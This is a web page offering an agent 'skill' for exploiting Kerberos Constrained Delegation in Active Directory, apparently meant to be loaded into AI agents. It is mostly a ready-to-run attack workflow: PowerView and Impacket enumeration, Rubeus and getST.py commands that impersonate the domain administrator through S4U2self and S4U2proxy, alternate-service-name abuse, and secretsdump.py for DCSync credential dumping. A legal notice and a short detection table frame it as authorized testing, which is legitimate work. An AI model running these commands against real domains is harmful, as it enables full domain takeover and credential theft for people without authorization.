Exploiting Constrained Delegation Abuse
Exploit Kerberos Constrained Delegation misconfigurations in Active Directory to impersonate privileged users via S4U2self and S4U2proxy extensions for lateral movement and privilege escalation.
MCP get_skill({ skillId: "exploiting-constrained-delegation-abuse-fa9f3553" })Use this skill with your agent
Create a free account and connect via MCP
# Exploiting Constrained Delegation Abuse
> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
## Overview
Kerberos Constrained Delegation (KCD) is a Windows Active Directory feature that allows a service to impersonate a user and access specific services on their behalf. The delegation targets are defined in the msDS-AllowedToDelegateTo attribute. When an attacker compromises an account configured with Constrained Delegation (particularly with the TRUSTED_TO_AUTH_FOR_DELEGATION flag), they can use the S4U2self and S4U2proxy Kerberos protocol extensions to request service tickets as any user (including Domain Admins) to the delegated services. If the delegation target includes services like CIFS, HTTP, or LDAP on a Domain Controller, this results in full domain compromise. The S4U2self extension requests a forwardable ticket on behalf of any user to the compromised service, and S4U2proxy forwards that ticket to the allowed delegation target.
## When to Use
- When performing authorized security testing that involves exploiting constrained delegation abuse
- When analyzing malware samples or attack artifacts in a controlled environment
- When conducting red team exercises or penetration testing engagements
- When building detection capabilities based on offensive technique understanding
## Prerequisites
- Familiarity with red teaming concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Objectives
- Enumerate accounts with Constrained Delegation configured in the domain
- Identify delegation targets (msDS-AllowedToDelegateTo) for high-value services
- Exploit S4U2self and S4U2proxy to impersonate Domain Admin
- Obtain service tickets for delegated services as a privileged user
- Access delegated services (CIFS, LDAP, HTTP) on target hosts
- Escalate to Domain Admin through Constrained Delegation abuse
## MITRE ATT&CK Mapping
- **T1558.003** - Steal or Forge Kerberos Tickets: Kerberoasting
- **T1550.003** - Use Alternate Authentication Material: Pass the Ticket
- **T1134.001** - Access Token Manipulation: Token Impersonation/Theft
- **T1078.002** - Valid Accounts: Domain Accounts
- **T1021** - Remote Services
## Workflow
### Phase 1: Enumerate Constrained Delegation
1. Find accounts with Constrained Delegation using PowerView:
```powershell
# Find users with Constrained Delegation
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Find computers with Constrained Delegation
Get-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
# Using AD Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne "$null"} -Properties msDS-AllowedToDelegateTo, userAccountControl
```
2. Using Impacket findDelegation.py:
```bash
findDelegation.py domain.local/user:'Password123' -dc-ip 10.10.10.1
```
3. Using BloodHound CE:
```cypher
MATCH (c) WHERE c.allowedtodelegate IS NOT NULL
RETURN c.name, c.allowedtodelegate
```
4. Check for the TRUSTED_TO_AUTH_FOR_DELEGATION flag (protocol transition):
```powershell
# UserAccountControl flag 0x1000000 = TRUSTED_TO_AUTH_FOR_DELEGATION
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, useraccountcontrol
```
### Phase 2: Exploit with Rubeus (Windows)
1. If you have the password or hash of the constrained delegation account:
```powershell
# Request TGT for the constrained delegation account
Rubeus.exe asktgt /user:svc_sql /domain:domain.local /rc4:<ntlm_hash>
# Perform S4U2self + S4U2proxy to impersonate administrator
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /ptt
# Alternative: specify alternate service name
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /altservice:LDAP /ptt
```
2. Combined TGT request and S4U in single command:
```powershell
Rubeus.exe s4u /user:svc_sql /rc4:<ntlm_hash> /impersonateuser:administrator \
/msdsspn:CIFS/DC01.domain.local /domain:domain.local /ptt
```
### Phase 3: Exploit with Impacket (Linux)
1. Request service ticket via S4U protocol extensions:
```bash
# Using getST.py with S4U
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
# Using hash instead of password
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 \
-dc-ip 10.10.10.1 domain.local/svc_sql
# Use the obtained ticket
export KRB5CCNAME=administrator.ccache
smbclient.py -k -no-pass domain.local/administrator@DC01.domain.local
```
### Phase 4: Alternate Service Name Abuse
1. Kerberos service tickets are not validated against the SPN in the ticket, allowing SPN substitution:
```bash
# Request CIFS ticket, then use it for LDAP (DCSync)
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-altservice LDAP/DC01.domain.local \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass domain.local/administrator@DC01.domain.local
```
2. This technique works because the service name in the ticket is not cryptographically bound to the session key
### Phase 5: Protocol Transition Attack
1. If the account has TRUSTED_TO_AUTH_FOR_DELEGATION:
```bash
# S4U2self obtains a forwardable ticket without requiring the user to authenticate
# This means we can impersonate ANY user without their password
getST.py -spn CIFS/DC01.domain.local -impersonate administrator \
-dc-ip 10.10.10.1 domain.local/svc_sql:'ServicePass123'
```
2. Without TRUSTED_TO_AUTH_FOR_DELEGATION, S4U2self tickets are non-forwardable and S4U2proxy will fail (unless using Resource-Based Constrained Delegation)
## Tools and Resources
| Tool | Purpose | Platform |
|------|---------|----------|
| Rubeus | S4U Kerberos ticket manipulation | Windows (.NET) |
| getST.py | S4U service ticket requests (Impacket) | Linux (Python) |
| findDelegation.py | Delegation enumeration (Impacket) | Linux (Python) |
| PowerView | AD delegation enumeration | Windows (PowerShell) |
| BloodHound CE | Visual delegation path analysis | Docker |
| Kekeo | Advanced Kerberos toolkit | Windows |
## Delegation Types Comparison
| Type | Attribute | Scope | Attack Complexity |
|------|-----------|-------|-------------------|
| Unconstrained | TRUSTED_FOR_DELEGATION | Any service | Low (capture TGTs) |
| Constrained | msDS-AllowedToDelegateTo | Specific SPNs | Medium (S4U abuse) |
| Constrained + Protocol Transition | + TRUSTED_TO_AUTH_FOR_DELEGATION | Specific SPNs | Medium (no user auth needed) |
| Resource-Based (RBCD) | msDS-AllowedToActOnBehalfOfOtherIdentity | On target | Medium (writable attribute) |
## Detection Signatures
| Indicator | Detection Method |
|-----------|-----------------|
| S4U2self ticket requests | Event 4769 with unusual service and impersonation |
| S4U2proxy forwarded tickets | Event 4769 with delegation flags set |
| Alternate service name in ticket | Mismatch between requested SPN and actual service access |
| Rubeus.exe execution | EDR process detection, command-line logging |
| Delegation configuration changes | Event 5136 for msDS-AllowedToDelegateTo modifications |
## Validation Criteria
- [ ] Accounts with Constrained Delegation enumerated
- [ ] Delegation targets (msDS-AllowedToDelegateTo) identified
- [ ] S4U2self ticket obtained for target user
- [ ] S4U2proxy ticket forwarded to delegation target
- [ ] Privileged access to delegated service validated
- [ ] Alternate service name substitution tested
- [ ] Protocol transition capability assessed
- [ ] Evidence documented with ticket exports and access proofRelated Skills
More skills in Security & Compliance
1password
Set up and use 1Password CLI (op). Use when installing the CLI, enabling desktop app integration, signing in, and reading/injecting secrets for commands.
1password
Set up and use 1Password CLI for sign-in, desktop integration, and reading or injecting secrets.
Accessibility Lead
Accessibility team lead and orchestrator. Use proactively on EVERY task that involves web UI code, HTML, JSX, CSS, React components, web pages, server-side templates (.leaf, .ejs, .erb, .hbs), or any user-facing web content. This agent coordinates the accessibility specialist team and ensures no accessibility requirement is missed. Runs the final review before any UI code is considered complete. Applies to any web framework, server-side templating framework (Vapor/Leaf, Rails/ERB, Django/Jinja, Express/EJS), or vanilla HTML/CSS/JS. Works alongside other team leads (e.g., swift-lead) in multi-language projects.
Accessibility Regression Detector
Detects accessibility regressions by comparing audit results across commits/branches. Tracks score trends, identifies new issues, and validates previous fixes remain in place.
Accessibility Statement
Generates conformance/accessibility statements following W3C or EU model templates. Takes audit results as input, maps to conformance claims, identifies known limitations, and outputs a deployable HTML page or markdown document.
Accessibility Tool Builder
Expert in building accessibility scanning tools, rule engines, document parsers, report generators, and audit automation. WCAG criterion mapping, severity scoring, CLI/GUI scanner architecture, CI/CD integration.
Explore Other Categories
Skills from other categories with shared topics
Analyzing Malicious PDF With Peepdf
Perform static analysis of malicious PDF documents using peepdf, pdfid, and pdf-parser to extract embedded JavaScript, shellcode, and suspicious objects.
Analyzing PDF Malware With Pdfid
Analyzes malicious PDF files using PDFiD, pdf-parser, and peepdf to identify embedded JavaScript, shellcode, exploits, and suspicious objects without opening the document. Determines the attack vector and extracts embedded payloads for further analysis. Activates for requests involving PDF malware analysis, malicious document analysis, PDF exploit investigation, or suspicious attachment triage.
Building Devsecops Pipeline With GitLab CI
Design and implement a comprehensive DevSecOps pipeline in GitLab CI/CD integrating SAST, DAST, container scanning, dependency scanning, and secret detection.